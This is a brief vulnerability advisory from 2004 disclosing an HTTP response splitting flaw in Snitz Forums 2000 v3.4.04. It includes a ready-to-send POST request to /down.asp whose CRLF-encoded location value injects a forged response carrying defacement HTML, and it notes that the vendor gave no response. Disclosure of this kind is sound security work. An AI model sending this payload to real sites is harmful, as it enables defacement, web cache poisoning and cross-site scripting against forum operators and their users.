ADVISORY
 
Author: Maestro (me!)
 
Date: 16-SEP-04
 
Vendor: Snitz Communications (www.snitz.com)
 
Product: Snitz Forums 2000 v3.4.04

Product description: (from vendor website) "the leading ASP forum/bbs on the internet today"

Problem: Http response splitting (web cache poisoning, xss, 
yadayadayada) - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
 
Exploit:

POST /down.asp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 134

location=/foo?%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%2014%0d%0aContent-Type:%20text/html%0d%0a%0d%0a{html}defaced{/html}

(replace curly braces with lessthan and greaterthan)

Vendor status: vendor contacted several times (email to support@ and to the contact email in the code). No response from vendor.


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